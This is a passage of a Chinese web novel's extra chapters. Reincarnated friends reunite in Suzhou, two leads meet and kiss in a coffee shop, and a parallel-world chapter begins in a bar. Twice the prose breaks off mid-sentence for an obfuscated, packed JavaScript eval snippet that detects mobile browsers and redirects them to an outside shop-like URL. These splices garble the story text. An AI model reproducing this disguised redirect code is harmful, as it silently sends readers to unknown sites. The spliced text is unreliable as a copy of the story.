“是!”随歌半坐着靠在墙壁上,龇牙咧嘴地揉着屁股,试图站起来继续追回自己的拨片。可刚才那一下摔得确实有些狠,半边屁股都是麻的,得缓好一阵子才能爬起来。 他抬头看着初与序,眼神忽然变得无比郑重,眼底燃烧着熊熊光芒:“序姐,你听我说。” 初与序挑了挑眉。 “序姐,你是我见过最靠谱的人。”随歌双手合十,眨巴眨眼眼睛。 “……谢谢?” “序姐,你身手矫健,你英明神武,你有一颗金子般的心。” 随歌一字一顿,语速飞快:“我的吉他拨片,是我这辈子最爱的拨片。它陪着我走过无数个夜晚,见证了我所有的灵感与崩溃,它——” 他深吸一口气,声音颤抖: “它是我最后的愿望。” 初与序:“……” 随歌继续抓着初与序的手臂,眼眶里仿佛有泪光闪烁。那眼神,那表情,活脱脱一个临终托孤的悲壮模样:“序姐,找回我的拨片。这是我最后的愿望。只要你能把它带回来,我……” “我帮你追回来。”初与序没忍住,轻声笑道,“努力在饭前让你最爱的拨片出现在你面前。” 说完,她站起身,转身朝着阿山消失的方向走去。 身后的随歌还坐在地上,仰着头望着她的背影,感动得语无伦次:“序姐——你是我的神——序姐——” 365.来世(二)[番外] 初与序来到了三楼院子里。 院子不大不小,青砖铺地,砖缝里长着苔痕。靠墙种着一丛竹子,竹叶疏疏朗朗的,风一过便沙沙地响。 院子中央摆着一张小小的圆桌,上面放着一套粗陶的茶具,茶壶歪着,边上还有一碟没吃完的桂花糕。两侧放着两把藤椅,其中一张椅背上搭着一条薄毯子,大概是白天有人在这里躺着晒太阳留下的。 靠栏杆的地方架着一架秋千,两根绳子从架子上垂下来。这时候只能借着远处的红灯笼,隐隐约约看到秋千的轮廓。 阿山正在院子里撒欢,叼着拨片,沿着院墙疯狂地绕圈跑,四条腿倒腾得飞快,完全沉浸在“我叼到了一个好东西我太快乐了我要带着这个好东西跑遍全世界”的狂喜之中,以至于根本顾不上理睬推开门的初与序。 初与序扶额无奈地叹了口气,思考着该怎么让这狗停下来。忽然,她的目光就不由自主地落在了院子角落的藤椅上。 那里躺着一个男人。 他半躺在藤椅上,套着一件深色的风衣,衣摆在藤椅边缘垂下来。内搭是灰色的针织衫,软软贴着劲瘦的身形。一只手撑着侧脸,袖口微微卷起,露出一截白皙而骨节分明的手腕。修长的双腿交叠着,闲闲地搭在躺椅上,姿态舒适,像是在自己家一般。 他看着撒丫子跑得正欢的阿山,那双眼睛和唇角微微弯着,带着被逗乐的笑意。 几秒后,他似乎是打算换个姿势,微微直起身,视线从阿山身上移开,不经意地往门口的方向扫了一眼—— 和初与序四目相对。 两个人都愣住了。 月光从竹叶间漏下来,细细碎碎地落在他身上。浅棕色的头发搭在他额前,被远处灯火染成一圈茸茸的光。面容白皙清秀,左眼尾落着一颗淡色的痣。瞳孔里倒映着碎光,一闪一闪。 他薄唇微张,怔怔地望着初与序,像隔着人海,猝不及防地撞见了什么早该被遗忘的人。 周围的一切都安静下来,阿山的脚步声变得很远,竹叶的沙沙声变得轻柔,远处的红灯笼还亮着,可那些光也变得很模糊,整个世界此时此刻只剩下他们俩。 初与序恍惚地望着这张陌生又熟悉的面容,眼眶莫名有些发酸,某种强烈的,难以言喻的情绪直直冲上心头,像某年在什么地方见过的一丛花,忽然就落满了全身;像某年在什么地方听过的一首歌曲,忽然就在耳边响了起来。 男子的眼眸,神情,微微张着的唇,怔怔望着自己的模样,此刻都变得无比清晰,像刻在眼前,刻在这个初冬夜晚的每一寸月光中。 藤椅上的人有些失神,忍不住抬手揉了揉眼睛,再睁眼看过来,沙哑道:“……我,是不是认识你?” 初与序抿了抿唇,半晌后回过神,走到还僵在椅上的男人面前,伸出手: “初与序。” 那手在月光下显得很白,骨节分明,指尖冻得微微泛红。 男人这才回过神,蹭地从藤椅上起身,伸出手握住她的: “冬逢初。冬天的冬,逢,初。” 冬逢初说着,偷偷抬眼去看面前的姑娘。 那只手还握在掌心,凉凉的,他应该松开了,可不知为何,手指不太听使唤。初与序似乎也有些茫然,半天没松开,良久才反应过来,轻轻抽回了手,冬逢初这才垂着眼把手缩回风衣口袋里。 他以前听江意等人聊天时偶尔提起过初与序,说她和自己一样,也是安徽人,父亲早早去世,母亲便丢下女儿,去了国外。她长期居住于一个……称职的寄养家庭? 冬逢初不太确定这个词用得对不对,那家庭对她冰冷,但至少没让她饿着冻着,给的钱也够,让她平安度过了少女时期,考上了苏州一所很好的985,大学毕业后就选择待在苏州,开了一家自己喜欢的花店。 初与序、江意与景明垂三人在学生时代便通过一场位于北京的竞赛相识,渐渐地认识了苏叶、随歌等人,这一群人不知怎的就凑到了一起,从学生时代到工作,一直都断不了联系。 这个冬天,景明垂的话剧巡演休假,她也是苏州本地人,就回到了家乡;随歌来苏州旅游,顺便看看风景找灵感创新歌;江意与苏叶本就是枕水望山的老板,自然也待在苏州。 几个人就这么恰好聚集在苏州,像是有谁在背后悄悄安排。 冬逢初从小就是孤儿,养父母将他从福利院借出来,对他很好,他的生活和初与序无比相似。 大学期间,他一直在苏州本地开咖啡馆,从小小的店面慢慢做到现在的一水间。说来也巧,他和初与序还是同届的校友。以前经常会在表白墙上刷到对方的名字,但两人都是不怎么在意这种事的人,看一眼就划过去了。 几周前,听说隔壁新开的不得语花店老板就是初与序。但冬逢初忙着咖啡馆的工作,一直没机会过去,偶尔路过看一眼,里面也是店员在。 此时此刻真正见面,冬逢初才明白了随歌等人的那句“她简直是女版的你”。 月光潺潺覆上来,初与序清冷眉眼被浸得微湿,眼尾一颗小痣随着睫毛纤长地一颤,便藏进阴影里,薄唇抿成一线,带着点欲语含羞却不失清冷的气氛,一切都与冬逢初一模一样。像两滴水,在不同的地方落下来,最后流到了同一条海里。 冬逢初从初与序的眼睛里看到了一点东西——是说不清的,湿漉漉的东西,像她刚才推门进来,看到他的一瞬间,眼眶里涌上来的那种东西。 他忽然不知道说些什么,就站在那里,脑子空空的。 明明是第一次见面,却好像认识了很久很久。明明什么都不知道,却好像什么都懂。明明该说点什么打破这安静,却一个字也说不出来。 冬逢初张了张嘴,想找个话题,第一个字还没出口,余光里,一团胖墩墩的黑影从背后朝着自己冲来,像一颗炮弹,直直撞向后腰。 强烈的推背感传来,冬逢初只觉得整个人失去平衡,被撞得朝着前方直直跌去。脑子里只剩下一个念头——什么玩意儿? 阿山也没想到自己这一撞效果如此显著,它在半空中四肢乱晃,一脚蹬在不知道是谁的腿上,不轻不重,却让冬逢初身前的初与序也身形一歪。 两个人一条狗,就这么齐齐摔趴在地。 自此,被阿山间接祸害人员里除了随歌,又加上了初与序和冬逢初。 初与序躺在青砖地上,脑子里嗡嗡的,后脑勺被冬逢初千钧一发之际伸手垫住了。一股带着微苦的勿忘我花香清冽地扑鼻而来,她能感觉到冬逢初的体温非常暖和。这暖和维持了不到一秒,冬逢初就连忙撑起上半身,一边双手合十疯狂道歉,一边就要爬起来。 ——趴在他身后的阿山又是一撞。 刚起身的冬逢初又被撞下去,咚一下撞在初与序旁边的地板上。 他感觉五脏六腑都要被撞出来了,眼前直冒金星,这金星能闪瞎他们俩人的24K钛合金狗眼。 “你……你没事吧?”初与序忍不住笑,感觉自己功德要没了。 冬逢初一手撑着身体,另一手捂着额头,满脸痛苦:“有……有事……” “初与序!你被阿山拐走了?半天怎么——” 门口传来随歌欠揍的声音,两人同时探头看过去。 随歌站在门口,手里还拿着一盒草莓牛奶。他看到地上那一趴一躺的两个人,脸上的表情从疑惑变成了震惊,又从震惊变成了恍然大悟。 他咽了下唾沫,转身就跑:“你们俩继续!就装作我不存在!我什么都没看到!” “随歌!不是——”初与序和冬逢初异口同声地喊,可人家撒丫子就跑,跑得比阿山还快,转眼消失在门外。 阿山从冬逢初身上跳下来,扫了地上的两人一眼,摇着尾巴跟着随歌跑走。 院子里重新安静下来,只剩下竹叶沙沙声,河水远远流淌声,还有两个人的呼吸。初与序转过头,和冬逢初对视一眼,然后齐齐移开目光。 冬逢初飞快起身,对着初与序鞠躬弯腰,跟念经似的往外蹦字:“对不起对不起对不起对不起对不起——” 初与序从地上爬起来,无奈地接话:“没关系没关系没关系没关系没关系——” 两个人就这么对着说了足有一百遍,最后初与序先忍不住了:“别对不起了,再对不起天都亮了。” 冬逢初这才红着脸直起身。 两个人又打着手电筒在地上摸索了好一会儿,找到了刚才阿山丢下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243428|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吉他拨片,才回到了三楼室内。 暖气热烘烘地烤着,和外头的凉意简直是两个世界。桌上已经摆满了菜,各种饮料啤酒也放在另一边的小柜子上。 “意哥!”苏叶翘着二郎腿坐在沙发上,朝着正在洗手的江意扬了扬他的手机,“齐无尽给你发消息,问你下个月是不是有工作,要去芬兰?他刚好也有事,可以跟你一起。” 江意甩了甩手上的水,头也不回:“你和他说,他知道了。” “OK!”苏叶熟练地输入密码打开江意的手机,然后按下语音键,笑盈盈地对着手机说:“齐无尽啊,我是叶子,我男朋友让我告诉你,他知道了。” 他顿了顿,又欠揍地补了一句:“对了,意哥现在在洗手,是我帮他回的。你懂的,男朋友嘛,手机随便翻。你们里斯本现在是几点啊?我们在枕水望山聚餐呢,初与序也在哦~怎么样,你要不要来啊?” 几秒后,齐无尽咬牙切齿发来一条信息:「你吃你大爷的,滚。」 苏叶笑得直拍大腿,冬逢初无奈地叹了口气,站起身,一手拽着此时此刻还忙着和同事聊工作的景明垂,一手拉着正在和抢自己谱子的阿山斗智斗勇的随歌,将他们拉到了餐桌边:“我说……该吃饭了?” “啊对对对,该吃饭了。”随歌松开还在和谱子较劲的手,一屁股坐到椅子上,亮晶晶地看着一大桌子的饕餮大餐,感叹道,“我咋感觉这不是我们第一次聚餐呢?” 桌上,锅底咕噜咕噜冒着泡,旁边摆着的碟子里,牛肉卷是江意爱吃的,藕片是苏叶爱吃的,白菜是景明垂爱吃的,年糕是初与序和冬逢初爱吃的,还有牛肉丸子,是随歌他自己和阿山最爱的。 “你们看啊。”随歌指着桌上的菜,“这些菜的口味好像都是按咱们几个喜欢的摆的,还有我从来都没说过我爱喝草莓牛奶,人初与序就给我拿了。而且刚才在厨房,咱们各自动作也挺默契的,一会儿就上好菜了。” 他看向此时走过来的江意:“意哥,你说咱们以前是不是真的聚过?” 江意修长的手指搭在椅背上,轻轻拉开椅子,从容优雅。闻言,他只是轻描淡写道:“巧合而已,动筷吧。” 苏叶忽然从旁边的小柜子上拿了几罐啤酒,咔咔咔打开,硬是被几人倒上满满一杯:“都近三十的人了,聚餐总不能还学小孩子那套,拿个饮料喝。我说白了,今晚不醉不归。” 他举起自己的杯子,朝着面前五人笑道:“就算庆祝我们在苏州相遇,也庆祝初与序的花店新店开业,生意兴隆吧。” 几个人装作没看见随歌偷偷往自己杯子里倒上一点草莓牛奶,纷纷从椅子上站起身。玻璃杯举起来,在灯光下泛着光芒。 “来来来,干杯!” 随歌和苏叶边举杯边开始唱双簧,随歌一本正经开口:“我跟你们说啊,这辈子能遇到你们,是我上辈子修来的福气。” “对对对。”苏叶也接话,“虽然你们这群人吧,各有各的毛病——当然除了意哥哈。没办法,咱们就是分不开。” “分不开分不开。”随歌点头附和,“以后也要一直在一起。” “谁敢走我跟谁急。” “急急急,急死他。” 眼看着两个人就要这么一唱一和地聊起来,景明垂终于忍不住打断他们:“行了行了,别说了,你们是想让我们馋死吗?” 随歌和苏叶这才反应过来,苏叶最后将杯子一举:“好好好,不说了不说了。” “那就祝我们以后,年年有今日,岁岁有今朝。” 他话音落下,六个人齐齐举杯,将杯中的酒一饮而尽。 坐下来时,羊肉卷已经在红油里翻滚,夹起来冒着热气。白菜叶子软塌塌地沉下去,吸饱了汤汁。粉丝变得透明晶莹,沾着辣油。 边吃边聊着天,眨眼间满桌的碟子便空了大半。丸子还剩一点,年糕和藕片捞得差不多了。热气还腾腾地往上冒,糊得整个客厅都暖洋洋的,窗玻璃上全是雾。 外面,河上的红灯笼还静静地亮着,河水在月光下缓缓流淌,流过岁岁年年,流过这座温暖的小城,流过这一群围坐在一起的人。他们说着笑着,像从来没有分开过,像这样已经过了很多年。 366.来世(三)[番外] 一顿饭吃了两个钟头,暖气烘得人昏昏欲睡。锅里的汤底见底,碟子和杯子都空了,剩下几粒花生米躺在盘子里。 几个喝得多的已经差不多醉倒了,随歌喝得不算多,但酒量差,三罐啤酒下肚,脸就红成了柿子。他摇摇晃晃从椅子上站起来,扶着桌子扫视一圈:“阿山呢?” 景明垂不明所以,但还是指了指角落。 阿山正趴在暖气片旁边,睡得四仰八叉,肚皮朝天。 随歌踉踉跄跄地走过去,在阿山面前蹲下,一把抱住阿山的脑袋,忽然哽咽道:“阿山啊——你是我的好兄弟。” 阿山被吵醒,不满地哼了一声,然后翻了个身,用屁股对着他。 随歌也不介意,又站起来转向冬逢初。 冬逢初正端着杯子喝可乐,察觉到他的目光,心中警铃大作:“……怎么了?” “冬逢初!”随歌大步流星走过来,一把抓住他的手腕,“来来来,咱们三个——”他指了指自己,指了指阿山,又指了指冬逢初,“桃园结义!” 冬逢初:“……” “冬逢初你愿意吗?”随歌一本正经地说,“你是老大,我是老二,阿山是老三。咱们从此以后,有福同享,有难同当,不求同年同月同日生,但求同年同月同日——” “停停停!”冬逢初赶紧打断他,生怕他说出什么不吉利的话,“我愿意我愿意。” 随歌顿时眉开眼笑,一把搂住冬逢初的肩膀,又踉跄着蹲下来,拍了拍阿山的屁股:“好兄弟!以后咱们就是一家人了!” 看到这一幕的初与序:“……” 另一边,苏叶也醉了。 他整个人挂在江意身上,像一只大型树袋熊,两条胳膊紧紧搂着江意的肩膀,脸埋在江意颈侧,嘴里含糊不清地念叨着什么:“意哥……意哥……” 江意被他箍得动弹不得,只能无奈地坐在那里。他试图动了动,发现根本动不了:“……叶子,你压着我动不了了。你先起来。” 苏叶搂得更紧了,他在江意身上蹭了蹭:“我不嘛!” 说着,他抬头就要去亲江意的脖颈。江意连忙伸手去拖住这只树袋熊。 景明垂坐在一边,看着这一屋子乱七八糟的人,嘴角忍不住往上弯了弯。 片刻后,江意终于将苏叶从自己身上拔了下来。他站起身,拖着还在往他身上靠的苏叶,看向冬逢初:“你们把随歌送回旅馆?” 冬逢初看了一眼一手搂着自己,一手搂着阿山的随歌,一头黑线:“能……意哥,你就把叶子送回房间吧。” “这里我和初与序来收拾。”景明垂费尽全力把自己的狗从随歌手下救出来,端起碗筷,朝着江意点了点头,“明天见,意哥。” “明天见。”江意回了一句。 冬逢初叹了口气,将瘫在地上的随歌拖起来,朝着初与序和景明垂打了声招呼,也拖着随歌走下了楼梯。 两人收拾完碗筷,景明垂把最后一块抹布挂好,和初与序道完别后,便从侧门走了出去。 初与序走正门,她下楼梯来到二楼。二楼走廊很安静,暖黄色的壁灯亮着,在木质地板上投下柔和的影子,走廊尽头一扇门门缝里透出昏黄的台灯灯光,是江意和苏叶的房间。 他们俩不仅在枕水望山有房间,在其他地方也有住处,平时都住那里的,但今晚苏叶实在醉得厉害,刚才住客又发消息来说晚上不回去了,江意就干脆带他暂时在这里休息下来。 初与序走过去,打算打一声招呼。 到门口,她抬起手准备敲门,忽然听见里面传来苏叶含糊的声音:“意哥,让我……” 后面的话听不清了,取而代之的是江意极力压制的低呼,然后是衣料摩擦的声音,还有床垫轻微的响动。 初与序猛地反应过来这两人在干什么,脸腾地红了,连忙悄摸摸朝着楼梯走去。 刚到楼梯口,就撞上也打算上来打声招呼的冬逢初。 冬逢初看着她微红的脸颊,疑惑地眨了眨眼,开口刚要问些什么,就看见初与序伸出食指挡在唇前,又做了个“快走”的手势。 冬逢初还没来得及反应,就被初与序拽着手腕带下了楼梯。他茫然地跟着她走,完全没意识到发生了什么。 直到将枕水望山的大门锁好,两人才敢大声呼吸。 冬逢初低头看着她:“怎么了?” 初与序一时间不知道怎么回答,最后只能胡扯道:“那个……苏叶喝醉了,难受。别去吵他和意哥了。” 冬逢初愣了一会儿,看着初与序欲言又止的表情,忽然恍然大悟。 两个人大眼瞪小眼,几秒后,冬逢初的注意力忽然就从“那对小情侣到底在干什么”转移到了“初与序好好看”上面。 月光与远处红灯笼的光交融着淌过来,她站在夜风里,咖色的风衣宽松地笼着瘦削的肩身,长发乌黑,衬得侧颊瓷白。立在那儿,犹如一触即碎的温玉,有种雾里看花的美感。 冬逢初白皙的脸颊上染成一丝殷红,不好意思地侧过头:“我……有件事请你帮忙。” 初与序抬起头,春水般温润的眼睛含着笑意看着他,无声询问。 “就是……我今天下午新做了一款咖啡。”冬逢初不好意思道,“想问你接下来还有没有事。如果没事的话,能不能帮我去一水间尝一尝?看看味道怎么样。” 初与序听完,点了点头,弯起眉眼:“好,我跟你去。” 夜已经深了,山塘街安静下来。红灯笼还亮着,一盏一盏地挂在檐下。店铺都关了门,偶尔有一两家还亮着灯,都是在收拾准备关门的店。店主们打着哈欠,把门口的盆栽搬进去,把招牌翻过来,然后门一关,最后一点光也没了。 河水还在紧紧地流,灯影碎在水里,被波纹揉成一片一片,晃悠悠地往远处淌。空中偶有夜鸟掠过,影子在水面上一闪,就不见了。 初与序走在冬逢初身侧,不远不近,正好能闻到他身上淡淡的花香。那花香混着一点咖啡的气息,清冽又暖融,让人觉得安稳。像走在一片开满花的林子里,走着走着,就忘了时辰。 “你平时都这么晚在店里?”她问。 “也不是,新品调试,有时候会多待一会儿。”冬逢初侧过脸,眉眼柔和,“今晚本来打算早点回去的,被随歌拉着喝了酒。” 初与序想起刚才随歌搂着他叫“老大”的样子,忍不住笑了一下:“他喝醉了就那样,你多和他喝几次,习惯了就好了。” “行啊,那以后多聚餐。”冬逢初也笑了。 不得语在前面不远,那扇隔壁就是一水间,也是木制门框,门口挂着一串风铃,在冬逢初掏出钥匙推开门的动作下,发出清脆的声响。 初与序跨过门槛,暖气扑面而来。店里被冬逢初提前打开了暖气,空气中弥漫着醇厚的咖啡香气。 店铺有两层楼,一楼布置得很用心,放着几张原木色的桌子,配着同色的椅子,椅背上搭着软垫。墙上挂着几幅画,都是水彩,画的是苏州的街巷和河道。最后一张却是一片雪原,角落点缀着几朵蓝色小花,朦朦胧胧的。 吧台在最里面,深色的木质台面。后面是一整墙的柜子,摆满了各种咖啡豆罐子。 店铺里放着一首熟悉的英文歌,旋律缓缓的,柔柔的,初与序听出来了,是《time machine》。 “坐吧。”冬逢初把风衣挂在门口衣架上,只穿着那件灰色的针织衫。领口微微敞着,露出一截白皙的脖颈。 他走到吧台后面,初与序也在吧台前的凳子上坐下来,胳膊放在吧台上,像个认真听课的小学生:“是什么新品?” “浅烘的埃塞,花香比较重,果酸也明显。”冬逢初从柜子里拿出几个罐子,“但我总觉得少了点什么,所以请你帮我尝一尝。” 他开始取豆、称重、研磨。 豆子被磨成粉,香气一下子散开来。热水从手冲壶里缓缓流下,一圈一圈地画着圆,咖啡粉被浸润,膨胀,冒出细密的泡沫。那香气里有茉莉,还有一点点蜂蜜的甜,把整个吧台都包裹起来。 初与序双手托着脸颊,安静地看着吧台对面的冬逢初。 ——冬逢初低着头调着咖啡,昏黄温和的灯光顺着他低垂的眼睫,挺直的鼻梁,一路滑进衣领的阴影里。那双手白皙修长,指腹温温地贴着杯壁,腕骨一转,水流便柔柔地落下来。蒸汽袅袅升起,模糊了他唇边若有若无的弧度,让人觉得他在笑。 “好了。”冬逢初两指稳稳托出杯身,推到初与序面前。 白色的陶瓷杯,薄薄的杯壁透着里面琥珀色的液体。香气袅袅地往上飘,带着花香和果酸的气息。 初与序端起杯子,轻轻抿了一口。 咖啡液滑过舌尖,先是微微的酸,像青杏和晨露。然后是花香,茉莉的香,铺天盖地地漫开。再然后是一点回甘,像走在路上忽然闻到的一阵风。 “味道怎么样?”冬逢初有些紧张地站在对面,歪着头看着她。 “很好喝。”初与序放下杯子,先肯定了一句。然后想了想,慢慢地说,“花香很足,果酸和后段的回甘也刚刚好。但确实少了点什么……” “清冽一点的,但又不能太冲,带着一点点苦涩。” 她收回目光,看向冬逢初。两个人对视几秒,忽然同时开口: “勿忘我。” 初与序的脑海里莫名闪过一个画面——那是一片雪地,一望无际的苍白。蓝紫色的花一丛一丛,在风里轻轻摇着。风从遥远的地方吹过来,带着凛冽的寒意,和一种说不清的苦涩香气。 她愣了愣,那画面一闪而过。 女生回过神,说道:“野生勿忘我冬天不开花,但我店里有园艺的,也有干花。等一会儿我拿给你,下次你可以试一试。” 冬逢初轻轻荡开笑容:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243429|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就谢谢你了。” 他说着,又动起手来,给自己做了一杯简单的拉花拿铁。接着拉过椅子,在吧台后和初与序面对面坐下。 初与序双手捧着陶瓷杯,轻声问:“你平时都是一个人试吗?” 冬逢初端起咖啡,抿了一口,有些怅然道:“有时候店员在,会让店员帮忙。但他们喝多了,容易尝不出来。” 初与序朝着他腼腆地笑了一下,眼睛里有一点亮:“冬逢初,以后如果有新品,可以叫我来试一试的。” “你做的咖啡很好喝。我白天就待在隔壁不得语,闲着也是闲着,还能来尝一尝咖啡。” 冬逢初莫名有些恍惚地看向面前的女生,从他的方位看过去,初与序后头就是落地窗。窗外灯火阑珊,打着红灯笼的船只从河面晃悠悠经过,她坐在那里,轮廓被窗外的光叠上一层柔光。空调暖风微微吹过来,发丝被撩起几缕,缠在素白的脸边,被她伸手轻轻勾到耳后。 冬逢初觉得心跳漏了一拍,忘了移开目光。 初与序见他愣神,微微倾身,伸手在他眼前挥了挥—— 冬逢初忽然条件反射地抬起手,等他反应过来时,已经扣住了初与序的手腕。 初与序一愣,维持着这个姿势一时没有动。但被扣住的手腕已经无意识地暗暗发力,像是随时准备挣脱。 只要是稍微懂一点格斗的人在场,就能一眼看出,他们的举动是一种长期处于生命危险状态,慢慢养成的下意识习惯。 而此时做出这个举动的两个人,并没有意识到,因为他们隔得太近了。 呼吸轻拂过彼此脸颊,带着相似的勿忘我花香。一个清冽如晨露,一个柔和似暮雾,互相交缠着,分不清是谁的先融进谁的呼吸里。只余花香丝丝缕缕地缠绵,像无形的藤蔓,把两个人缚得更近。 冬逢初握着对方手腕的五指松了些。但又没松完全,像是不舍。 他颤抖着缓缓呼了口气,脑海里某个意识叫嚣着让他抱上去,让他再近一点。他强压下心中疯狂的念头,薄唇轻启,吐出几个无声的,他自己也不知道是什么意思的字。 就听初与序清晰的声音响起,无比坚定:“我早早就认识你了。” 乍然间,冬逢初轰地一炸,大脑一片空白,怔怔地与她对视。 耳边的英文歌还在缓缓流淌着歌词: “Each time I fall asleep,” (每当我睡着时) “I always see you there in my dreams.” (你总是会出现在我梦里) “It''s like going back in a time machine.” (那感觉就像乘坐时光机回到了过去) 鼻腔充斥着花香的清冽和咖啡的醇厚,冬逢初眸色忽然暗了暗,缓缓靠近。气息先一步覆上来,拂过她唇瓣,吻便试探着轻轻落了下来,像一片花瓣飘进水面,漾开细细的涟漪。 初与序没有立刻退开,就那么贴着,呼吸交缠,温热而潮湿。 他们清楚,自己有可能一见钟情,但从来不是能第一次见面就立刻亲吻的人。但此刻,有什么东西在冥冥中牵引。这个吻落下来,不像吻,像在苦尽甘来终于重逢的那一刻,给彼此烙上独属于自己的记号。从此之后,再也分不开。 那此刻,这个吻就别分开了吧。或许呢,或许这并不是他们第一次见面,或许在宇宙还未成形,他们还是散落的星辰时,就曾一起聚在月亮之下。亿万年的漂泊,只为这一刻的重逢。 那这次的亲吻,就不算什么了,不过是找回罢了。 可能不会再有雪在这个冬天落到位于南方的苏州,在这里,雪就是稀罕物了。他们再也不会看到那些刻在记忆深处的,永远不会浮上来的雪原。也再体会不到出生入死的瞬间,不会再有人挡在身前,不会再有人把生的希望推给另一个人,不会过上那些苦中作乐的日子。 可这已经够了。 这个冬天,窗外有河水静静地流,有红灯笼暖暖地亮。隔壁的花店和咖啡馆挨着,门前的风铃叮叮当当地响。朋友都在,吵吵闹闹的,喝醉了就抱着阿山叫兄弟,挂在自己对象身上耍赖不撒手。 某个挚友不会再像转瞬即逝的雪花,看得见,抓不住,只能眼睁睁看着他们一点一点消散在风里。某个爱人不会再站在五米开外,不会往后退,不会说那些温柔又残忍的话。他会走过来,走到触手可及的地方,伸出手握住。 亿万年的漂泊,五百多次的轮回,九千多年的守望。所有的苦都吃过了,所有的路都走过了,所有的离别都尝过了。终于可以停下来。 在这个很少见雪的冬天,在这个温软的小城,在咖啡香和花香的包围里,在朋友们闹闹哄哄的笑声中。 终于可以停下来,好好地,慢慢地,过完这一生。 367.平行世界(一)[番外] 凌晨三点的撒哈拉酒吧。 外头冷风割脸,里头暖气却烧得足,玻璃上糊着厚厚的白雾。推门进去,热浪裹着重低音砸过来,《Friday9ii》的鼓点整得人胸腔发麻。灯光变幻得一片猩红,男男女女穿着薄衫乱舞,热浪比暖气更燥。 喧嚣中某个卡座上,一个染着黄毛,穿着骚里骚气皮衣的青年,一脚踏在桌面上,两只手飞快比画。他对面是被他随手拉过来,染着绿毛的非主流,已经跟着随歌的动作舞起了拳。 不远处,一个戴着眉钉,却又挂着格格不入护身牌的道士站在那,单手握着啤酒瓶当话筒。在震耳欲聋的音乐里,扯着嗓子对身边人声嘶力竭: “我们到底是怎么被随歌拉到酒吧里来的?已经过零点了,今天就是除夕,玄机观春联我还没写呢!安楚得杀了我!” 初与序瘫在一边的沙发上,捂着耳朵,神色疲倦萎靡。深色大衣宽宽地笼着身子,长发搭在肩上,脸色有些苍白,眼底带着一点青黑。 她闷闷地说:“我想回家……” “忍忍吧。”景明垂凑近她耳边,努力让她听清楚自己的话,“今天是随歌乐队成立五周年,过完年他就回北京了。他想来这儿,就陪他玩吧。” 初与序不情不愿地抬起胳膊捂住自己的脑袋,窝在沙发一角,恨不得现在就有个厚被褥,一头钻进去。 离永冬之城被摧毁,冬逢初随之消失,已经过去了八个月,眨眼就到2026年除夕了。 原本,所有人都以为那群黑暗势力会继续猖狂,前来将体内还残留一丁点精神力的初与序抓走,再次创造出第二个永冬之城。 可这么长时间过去,所有人都平平安安。 白闽和陈秋天的管理院没有查到他们的任何行踪,甚至当几周前初与序独自一人前往观测站,将D19等人和火腿面包带出来后,也全程没有见到袁曼等任何一人。 那些人像是凭空消失了,以至于一部分玩家认为,那群势力已经被某个或某群不知名人员默默地清除掉。 当然,D栋的所有住户都不这么认为,他们还在继续暗中调查着这些事。 即使将D19等人带出来,初与序的精神状态在这几周依旧不好。奈何随歌等人破门而入,将初与序硬从家里拖出来,塞进车里,带到了撒哈拉酒吧。 初与序将手背搭在额头上,丧丧地叹了口气,微微坐直身体摸出香烟点燃。烟雾从指缝间袅袅升起,混着头顶流转的迷幻灯影。她被罩进一层灰蒙蒙的纱里,隔着那层纱,只能看见白皙的下颌,和睫毛投在脸颊上的阴翳。 江意被拉到酒吧,一小时前临时去了上面的包房开跨国会议,此时此刻下来,看到的就是这一幕。 他无奈走过去,俯身问沙发上两人:“要不要喝点什么?” 初与序挥挥手,示意不用。景明垂扫了她一眼,回答道:“长岛冰茶,谢谢意哥。” 江意点了点头,转身走向吧台方向。 J23穿着皮裙,烫着大波浪,唇红貌美,从一群看着她星星眼的男人女人中走出,手里端着红酒,袅袅婷婷地走过来,坐到卡座沙发背上。 S23跟在她身后,站在卡座边,侧头看着沙发里的初与序,随意聊起来:“诶初与序,你说这撒哈拉这么多人,袁曼他们会不会派人偷偷混在人群里,盯着我们呢?” J23“嘿——”的一声,抱壁斜起眼,瞪了S23一眼:“我说S23,你别乌鸦嘴。” 初与序懒懒地掀起眼皮,环视周围。 满池子荷尔蒙烧得正旺,舞池里人影幢幢,卡座里杯盏交错。经常有人朝着这边多看几眼,那也是被这卡座上的几位俊男靓女吸引到了,没有别的理由。 她微微停顿,唇角倏然浮现出一丝笑意,但这笑意带着强烈的自嘲和苦涩,转眼间就消失不见。 “都几个月了,观测站的人一点动静都没有。”S23勾过随歌的肩膀,却表情严肃地说着正事,“按理来说,他们至少应该在善佑医院被你烧毁、医护人员死光光后,派人来盯着你,防止你再把他们的老巢掀翻。” “但一点动静都没有,竹翰学院背后的新型集团也在一周前被爆出来,倒闭了,甚至牵连了它背后其他几家集团。他们囚禁拥有精神力的人类、试图创造新世界的目的,已经隐隐被世人知晓,这也太顺利了。” 他看向大腿翘二腿倚在沙发上的白闽:“会不会真像你们B栋那一群玩家最先提出的可能——有人在暗中帮助我们?” 白闽在永冬之城时居住的B栋里,住户们有一个特点——经常冒出匪夷所思的想法,做天马行空的事情。但也有百分之四十五的概率是对的,导致有时候有些事,玩家们不得不尝试着相信他们。 D19等执行官回来后,想办法创建了一个加密论坛,只有曾经是永冬之城玩家的人才能进入。在论坛里,就是B栋某位玩家先提出的这个可能。 